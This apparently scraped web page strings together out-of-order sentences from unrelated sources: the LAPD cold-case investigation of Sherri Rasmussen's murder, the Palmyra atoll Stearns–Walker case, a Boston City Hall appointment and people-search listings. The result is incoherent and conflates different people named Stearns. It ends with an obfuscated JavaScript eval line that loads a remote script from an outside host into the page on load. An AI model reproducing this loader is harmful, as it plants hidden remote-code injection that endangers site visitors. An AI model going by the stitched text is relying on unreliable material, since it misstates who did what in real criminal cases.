I found that Buck Duane Walker was granted parole in 2007. She has been married to Zach Dulli since December 10, 2006. So I get up there first and I say, Has anybody ever heard of DNA? Some little retired guy raises his hand and says, Yeah, I know, I know. The garage door was open and the silver two-door BMW hed bought Rasmussen as an engagement gift was gone. Late in 2002, when the cold-case unit finished its initial screening of all unsolved homicides committed in Los Angeles from 1960 through 1998, it judged 1,400 to have good forensic potential for reinvestigationamong them, the 1986 murder of Sherri Rasmussen. Everything I knew about Stephanie, she was sharp, Nuttall says. The prosecution said Stearns helped Walker in the murder in order to get the Grahams yacht and food supply and leave Palmyra. (Defense lawyers would later suggest that Fuhrman had planted it.) About that time, Nels again mentioned the ex-girlfriend to the Van Nuys detectives. The cold-case unit initially consisted of seven detectives: three teams of two, with Lambkin at the helm. He placed the tube inside a 5-by-7-inch L.A. coroners physical-evidence envelope, on which he wrote Sherri Rasmussens name, a description of the contents, and where hed obtained them. In January 1987, a bold plan was announced: the police requested that all male residents between the ages of 17 and 34 provide blood samples for DNA analysis, to eliminate themselves as suspects. A woman who worked at a bakery in Leicester had been gossiping with co-workers at a pub when one mentioned that he had agreed to take the blood test on someone elses behalf. It was four books when it reached me, four books deep, Nuttall says of the case file. I am proud to welcome these experienced and inclusive leaders to Boston City Hall.. In early February 2009, with the squads most recent homicide cleared, Nuttall and Barba began poking around for an interesting cold case. Select this result to view Stephanie Marie Stearns's phone number, address, Stearns, who sobbed as she read entries from her 1974 log to the jury about the Grahams disappearance, denied there was any feud. As tantalizing a clue as Butterworths DNA report provided in the Rasmussen casenamely, that a woman might be the murdererit did not point directly to a specific suspect, unlike the many cold hits rolling in thanks to Prop 69. Afterward, the coffee cup the old man had used was whisked to the lab and his DNA was harvested from the brim. A 77-year-old grandfather with a bushy white beard, Laudenberg was suspected of having raped and strangled four women between 1972 and 1975; the media quickly dubbed him the Santa Claus Strangler. The detectives possessed the killers DNA profile, but had no sample from Laudenberg with which they could compare it. Jury selection began in January 1990. A century later, the unit could not do much about that one. Stephanie? he asked. The defendant will be Stephanie Stearns, 34 years old, of Simi Valley, Calif., who has served one prison term as a result of what happened seven years ago at This was very interesting in the beginning, but as you got into the book there were too many he said this, she said that, and this other person said something else. Primitive as the IBM punch-card and mainframe-computer databases might seem today, they were cutting-edge at the time, and they nurtured Lambkins interest in how technology could be used to solve cases. In 1963, Robinson had been an 18-year-old Navy recruit stationed in San Diego. One of them, a .38, had been reported stolen on March 9, 198613 days after the murder. Garrett-Stearns will serve as lead communications strategist and advisor for the Janey administration. We felt it best, if were going to do this and hand the package to RHD, were going to hand it to them with everything done correctly.. The two detectives who were ultimately chosen, Greg Stearns and Dan Jaramillo, were selected in part because they did not know Lazarus well, and had no bias for or against her. Of course it was O.J.s DNA: it had been planted at the scene! The clearance rates reported at the end of each calendar year stand in perpetuity; they cannot be corrected through later arrests. Firearms were not allowed in the jail, so it would not seem unnatural for all three detectivesStearns, Jaramillo, and Lazarusto surrender their guns before entering. The call was from a technician at the crime lab. Two months after the Grahams vanished, Stearns and Walker sailed the Grahams yacht into Hawaii, 1,100 miles away; they were later sentenced to prison for Bugliosi's "And The Sea Will Tell" is an absolute prerequisite to this book. Suspicion quickly fell upon a 17-year-old boy who seemed to have an unnatural interest in the second crime scene. The suspects on the squads list were numbered 1 through 5. With no direct evidence of any role Stearns played in the killing, Assistant U.S. Attorney Elliot Enoki cited disputed testimony about a feud between the couples, and pointed to numerous lies and omissions admitted by Stearns in her statements to authorities. Bub, a veteran of RHD, was determined to deliver an ultra-professional case to them. In this case, it would not be easy. Stephanie received a two-year sentence of which she served seven months in prison and six months in a halfway house. Whereas Van Nuys once recorded 30 to 40 homicides a year, nowadays it averages five to seven. After that meeting, Loretta stopping calling. A blood trail down the stairs and a bloody handprint near the front door suggested Rasmussen had tried to escape or reach the panic button on the alarm panel located there, but her assailant followed. He received no reply. On April 30, the detectives entered Lazaruss name into the California state gun registry, which returned a list of all the firearms she had ever registered. Since her swearing-in on March 24, Janey has named, , Chief of Environment, Energy, and Open Space., Stephanie Garrett-Stearns named Chief Communications Officer. Stearns claims to have studied mathematics, yet in her supposed log she cannot engage in simple addition. Just for like five minutes or something, Jaramillo added. Murder charges were added only after Mrs. Grahams skeletal remains were found in a metal box on Palmyra in 1981. Submit a letter to the editor or write to letters@theatlantic.com. ), At Willie Nelson 90, country, rock and rap stars pay tribute, but Willie and Trigger steal the show, Wildfires in Anchorage? Lambkin excelled at the work, but by 1990, he felt burned out and decided to shift to homicides. His children and members of his church packed the gallery in support of him. Once there, the couple discovered that the condition of their boat and the lack of adequate supplies prevented their return. I said, We need to talk about everything. The unknown factor was how long she would wait before invoking one or both. 2314. Examining the scene, the lead homicide detective, Lyle Mayer, began to piece together what he thought had taken place. Eventually, a detective arranged to meet at a doughnut shop to discuss what he described as a series of burglaries from automobiles. Reserved. The DNA profiles of tens of thousands of California inmates were uploaded to the FBIs vast database. Stephanie Stearns fought back tears Tuesday when she testified about her decision to help her former lover Buck Walker flee drug charges in Hawaii and ultimately sail to Palmyra Island, where Eleanor and Malcolm Graham vanished in 1974. Two 15-year-old girls from neighboring villages outside Leicester, in the English Midlands, had been killed, one of them that summer and one three years earlier. The jawbone was identified as Mrs. Graham's. Both Buck and Stephanie were convicted of stealing the boat and transporting it to Honolulu, Hawaii. WebThe third result is Stephanie Marie Stearns age 60s in Mountain View, CA in the Grant - Sylvan Park neighborhood. Given how many suspects Lazarus had arrested herself over the years, she was undoubtedly well aware of her rights to silence and to legal counsel. Dan and Greg arent asking questions yet, because theyre still absorbing this information thats just overwhelming. When they finished, all four detectives went straight from RHD to the D.A.s office, where Bub and Nuttall briefed the prosecutors who would be handling the case. When it was over, the killer stole the BMW parked in the garage. The whole family was waiting inside. He got a passport as Roy Allen, providing a photograph of himself wearing a clerical collar. It was during that time that he planned to flee Hawaii on his own boat, and Stearns decided to go with him. Stephanie Stearns Center Manager at Hanesbrands Inc. Arlington, WA. He told acquaintances that he won the boat in chess games with a friendly millionaire, according to evidence presented at the trial. When Lazarus arrived in the interrogation room, Stearns and Jaramillo abandoned the story of a suspect talking about stolen art, and explained that her name had come up in a case involving an ex-boyfriend of hers, John Ruetten. The two couples met at Palmyra Island, an uninhabited atoll 1,000 miles south of Honolulu. Since her arrest, Lazarus has steadfastly maintained her innocence. As a result, in 2005 Lambkins unit was swamped with CODIS-based cold hits: DNA reports implicating suspects previously unknown to detectives. But as far as motive was concerned, the information that we had was that [Lazarus and Ruettens] relationship had been over since the previous summer. Given the number of drive-by shootings then occurring in the city, LAPD detectives were far more accustomed to picking shell casings up off the street than searching for hair strands, semen stains, and other barely visible bodily traces. We were teetering, Bub recalls. Laboratories became more careful with evidence; trial courts grew more familiar with DNA; and higher courts affirmed its admissibility as a matter of law. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,32,101,108,115,101,32,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*77476456347368*/t);